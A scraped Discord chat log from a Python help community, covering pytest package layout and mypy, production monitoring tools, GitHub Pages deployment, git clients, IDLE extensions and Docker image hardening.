__init__.pyfiles to your directories containing tests. This will make the tests part of a proper Python package, allowing pytest to resolve their full name (for exampletests.core.test_corefortest_core.pyinside the tests.core package).If the test directory tree is not arranged as packages, then each test file needs to have a unique name compared to the other test files, otherwise pytest will raise an error if it finds two tests with the same name.
frickin mobile
TIL
but anyway if i understand it correctly, the existence of __init__.py made pytest prepend the parent directory of tests/ so its submodules could be imported through tests
if you DO have tests/__init__.py, DO use from tests.* imports.
if you DO NOT have tests/__init__.py, DO NOT use from tests.* imports. treat every .py or /__init__.py inside tests/ as a separate top-level module (i.e. from circuit import Template)
mypy raises an error on * operator.
hehe
I get what you meant though.
hah okay
mypy is confused because you're treating tests. as a module/package in code, but you don't have tests/__init__.py so it's not actually a module/package -- it's something else called a "namespace package" that coincidentally happens to work but isn't what you meant to do
I added an empty __init__.py, and it got fixed.
I think it was just it not being recognized as a module.
hence mypy's confusion about tests/circuit.py -- does that file correspond to tests.circuit or circuit?
it's the other way around. you were treating it as a module, but it lacked the init file, so it was not a module, but because you imported from it anyway, it became something called a namespace package instead. mypy thus got confused.
No, it says is it tests/circuit/test_circuit.py or circuit/test_circuit.py.
right, but mypy needs to figure out the module name associated with each file
Ohh yeah that makes more sense.
that would be either tests.circuit.test_circuit or circuit.test_circuit
Thank you so much for the correction!
yup, this stuff can get a little hairy. the most important point is that python only looks for modules in certain directories and does not search recursively in subdirectories
Gotcha.
personally i set it up so that tests is not a module (no __init__.py) and i treat everything inside as top-level
but that's just the way i do it, a lot of people do tests/__init__.py
i like it the other way because it mirrors the src/ dir
I am sort of playing around with what's the best way too, I think at some point it just boils down to preference.
python looks for source modules inside src/, and looks for test modules inside tests/ -- there's a nice symmetry there imo
Yeah.
Salt, could I perhaps friend you hehe?
I'd love to chat more sometime and perhaps have some tips on my package.
i'm around here often, you can @ me as long as it's not all the time
Ohh gosh no, I fortunately am not that useless hehehe.
Looks like uWSGI is dead.
Note: The project is in maintenance mode (only bugfixes and updates for new languages apis). Do not expect quick answers on github issues and/or pull requests (sorry for that) A big thanks to all of the users and contributors since 2009.
It's just resting
What about bug fixes?
those are included in maintenance mode
It needs prebuilt wheels
Greetings,
Hope all are well. I am trying to add sphinx and numpydoc to my package, and was hoping to ask a few questions if possible. Would this channel be appropriate?
yes, ask away
Hi all, do you use any particular enterprise logging/monitoring platforms to track faults in production?
Second question - Any tips or advice for function libraries? I have Azure DevOps, which I think I might use so my colleagues can fork information if/when needed.
at a previous job we used Datadog. I didn't deal with it much, but it seemed nice
we use datadog as well, i hear it's very expensive but i don't pay the bill
it does everything i want it to do and then some
actually I forgot -- we use prometheus and grafana. It doesn't do what datadog does, but it's OK for a high-level overview -- e.g., "have there been a bunch of errors in the last hour"
and it's free free freeeeee
I was going to say Prometheus as well, itβs really good
Hi all, do you use any particular enterprise logging/monitoring platforms to track faults in production?
Sentry is nice for that. It is just error management, with logging and some tracing embedded.
Otherwise Datadog is cool too. It is expensive yeah... But there is room for optimisations. If u don't mind catching only small percentage of traces 2-5% then price will be nice. As well as thoroughly cleaning logging
Datadog will be very smooth Enterprise.
Grafana stack for self hosted management is a lot of pain to configure and maintain. So a lot of DevOps dev cost. It can have advantages like 100% tracing capturing at low infra payment cost though
Haven't tried Enterprise grafana deployment, I do expect it to be same pain in the ass though as we still have same problems of configurability
it is paid by blood and sweat of infra devs π
This 100%
Nothing is free: it's just a matter of devops/infra payroll vs cloud bill
well, you know, Linux is free ... ||if your time has no value||
If your time does have value, there's support contracts for sale.
Got fixed, sorry I didn't remember to check the channel. I am having a different question now hehe. So, how can I make a Github Pages from a custom folder?
So my html code is inside a source folder inside docs.
Tbh best just to use GitHub actions I think. They can serve from any folder as well as building stuff on run.
https://github.com/darklab8/fl-data-discovery/blob/master/.github/workflows/publish.yaml
Here is very short example of its usage
Freelancer Discovery game data utilized for autodeployment of online flstat and unit testing across projects - darklab8/fl-data-discovery
Switch to GH mode, remove build step, adjust pushed folder from ./build to yours
Thank you very much! I'll check it out. Right now I used the static Actions choice instead of Jekyll, and getting the 404 error, I think it's not seeing the index.html file I have.
This is the repo, could you kindly have a look at my docs?
For some reason, even when I put everything in the same level of docs (instead of build/html), it still doesn't work the same way as when I run .\make html.
why would it work? π€
u haven't added to it workflow file
Well, I thought the issue was it not accessing.
Oh yeah I deleted it, you could see it in my recent commit.
π return it back then
It wasn't working though, why do you ask?
it is okay to commit wrong code.
a step to solution begins from made test showing what is wrong
anyway, step first... you need to mgirate your main branch to "master"
i am not sure if github pages can work from "main" reliably in all its features
ergh.. this is bullshit from some recent hype that is not very well supported
i would recommend to ignore it and just keep to having master π
#packaging-and-distribution message @random compass ah, i think it has something to do with how you have a libretro.driver.audio.driver submodule, somehow sphinx is confusing it with your driver package? i renamed the module to audio_driver.py and that also fixed it
i guess you can mention this in your sphinx bug report, something about the submodule name apparently conflicting with the parent package
how can i fix this all was working good before like this is random
Out of curiosity where did you get this code from?
fwiw "abc" is the name of a python built-in module; having your own file with that name is a recipe for sadness
Is it? I thought there was only collections.abc
But thatβs Discord.py and not their project
!docs abc
Source code: Lib/abc.py
This module provides the infrastructure for defining abstract base classes (ABCs) in Python, as outlined in PEP 3119; see the PEP for why this was added to Python. (See also PEP 3141 and the numbers module regarding a type hierarchy for numbers based on ABCs.)
The collections module has some concrete classes that derive from ABCs; these can, of course, be further derived. In addition, the collections.abc submodule has some ABCs that can be used to test whether a class or instance provides a particular interface, for example, if it is hashable or if it is a mapping.
This module provides the metaclass ABCMeta for defining ABCs and a helper class ABC to alternatively define ABCs through inheritance:
I don't think this is the cause of their trouble; I'm just pointing it out "for future reference"
Yeah, but itβs not something that they can change β¦unless they go talk to Danny and rearchitect Discord.py
oh I didn't even notice that it was part of "discord".
backs away slowly, bowing and scraping
Ye
Only the first line of the traceback is their own code
Jumping straight into exec, which has me a bit worried
newbies gonna newbie
Good catch, thanks for the tip. Thankfully drivers is a good name for the overall package, or else working around this would drive me nuts.
With?
I am on a trial to install graphviz to my Windows 11. I aim to conduct manual installation, means the zip archive to have downloaded from developers team server, then placing it in Windows user profile directory tree, finally adding to PATH.
However the archive downloaded today triggers positive alerts when scanned for malware. One can see few years ago there have been similar reports, that time it ended however with the judgment - all just false positives. I wonder what is the actual status quo as of time being.
β€οΈ
Did you get it from https://gitlab.com/api/v4/projects/4207231/packages/generic/graphviz-releases/10.0.1/windows_10_cmake_Release_Graphviz-10.0.1-win64.zip ? That's probably the only legitimate source
Thanks for confirmation. Yes, exact this source. I think I will consider those alerts to be false positives. The names of two alerting instances are Jiangmin and MaxSecure - from my perspective bit exotic av solutions.
I think it's more likely that those things are buggy, than that the github download contains malware. But you can never be sure; you have to trust your instinct π
if you are good at selenium please msg me i have a question
@heavy knot how's the quality of the code generated? Does it have specific language support?
i want to do like this cicle white checkmark to my code
but i have always problemes
can any one help me
Are those <input type="radio">?
Have you tried doing <label><input type="radio" selected>One time</label>?
this is python language
and qt designer app
i turn it to this with sheetstyle
Can I teach it verilog? π
any helper?
hey is there any way to get amount of transaction, sent by, and time from https//cash.app/payments/90v91cz7nsj6vmfj73g0sknxm/receipt
probably by signing up for their API
anyone here have experience in blender python scripting for tools/add-ons?
Rookie question here: Is it possible to let two Git clients handel the same local repo without anything freak out on my pc?
You mean like GitHub desktop and vscode git for example?
Sure. It is completely fine
I use Git CLI together with vscode all the time
Never encountered issues yet in all my years
In theory they can be though if difference between clients is too big may be
My stupid ass just found out there is a help channel
My question there:
https://discord.com/channels/267624335836053506/1234091640344547380
There shouldn't be a problem to use git repo with any hundred different clients. Hopefully. I mean, there is one .git folder and any git actions should reflect completely within that. If any client messes with the .git so that for example git cli can't deal with it, I would say that tool/client is broken.
Then the problem is on me then, π
What did you do? π I only use git from commandline, so I don't really know what shenanigans could be doing.
I really like the interactive https://learngitbranching.js.org/
Darkwind Duck linked you. I wish they would update and replace git checkout with git switch and git restore though, but perhaps they are still considered experimental
It's available on most Git installations you'd encounter, but there's still supported Debian versions without it.
git switch is still marked as experimental isnβt it
yea
THIS COMMAND IS EXPERIMENTAL. THE BEHAVIOR MAY CHANGE.
- https://git-scm.com/docs/git-switch
I've been using for a while already π
Hey anyone here very familiar with GH can answer a basic noobs question
if im working with a fork of something and commits get merged back to the main project
in the main project or any project is there like a section to check merge history
cant find it
just do "git log", that shows all commits on your current branch.
You can tell merge commits from other commits because it says "Merge" in the header
there's probably some way of seeing them in the github UI, too, but I don't know what it is
if you've submitted a "pull request" you should see it at e.g. https://github.com/codeots-tds/MTA_Train_Delays/pulls?q=is%3Apr+is%3Aclosed
It's ridiculous how hidden it is
both github and gitlab have made enough changes to their UIs in the last couple of years that I get lost
I just stick with my console git gui
My brain is overloaded
I think I will stick with my brainless "one branch at a time" and merge for nowπ«
any static analysis tool that can tell whether a function has side-effects?
almost certainly not
my gut says that in order to do that reliably, you'd have to solve the halting problem
Does anyone know where I can get an auto-complete extension (example: typing " would close the string with another " and leave the cursor between the quotes)
I'm using Python's IDLE
heh, sounds like https://www.emacswiki.org/emacs/ParEdit
So I should just get emacs?
Then what's the extension tab in Settings for?
π€¦
Basically I'm trying to make IDLE a little more user friendly
I also need an extension to embed the shell window under the editor window
I'm still using tig which I learnt from a colleague when I started working at my current job 9 years ago. Recommended π
Immutable type hints? Got idea from this great answer:
https://stackoverflow.com/a/27412811/393010
Doesn't detect messing with globals or printing
Oh I'd played with that a little bit. I don't find it useful but it is pretty cool.
I need a good apk decompiler can I get some suggestions
r/BrandNewSectence
Use any other editors bro
unless you want to test your limits
hi
there are 53 extensions for IDLE listed on the pypi
https://pypi.org/search/?c=Framework+%3A%3A+IDLE
and I found another on github
https://github.com/serwy/idlex
IDK if any one of them meets your needs...
damn I really didn't know IDLE have extensions
even this many
can anyone suggest me a website like replit that allows to host repls 24x7 for free?
Is there some multi-version dependency management tool that can make some venvs via symlinks? Im looking for something poetry compatible
I can't determine if I should ask this here or on the #cybersecurity channel. What do you guys do today to harden and/or secure docker images?
do you mean "secure the host on which you run a docker image"?
images are immutable
Yes, mostly that. I mean it in the context that you can update existing Dockerfiles and redeploy the container with a new 'hardened' image. I'd imagine that choosing a stable base image may help with hardening. So I guess I also want to know what choices people are making when building docker images to make them less susceptible to exploits
Has anyone succeeded in using pre-commit with your virtual environment? Its an anti pattern as per pre-commit framework maintainer , and we should only use remote repos and let pre-commit create its own environment in cache for QA checks.
What if I don't want that. My poetry config already has dev dependencies for my IDE, I don't want to have two places to manage the dev dependencies around tooling.
There is a hack, by using this repo.. https://github.com/floatingpurr/sync_with_poetry
but this is not ideal. You still have two separate environment with dev dependencies.
!rule ad
Also this doesnβt really help anything
pre-commit already uses its own environments
It works fine for me?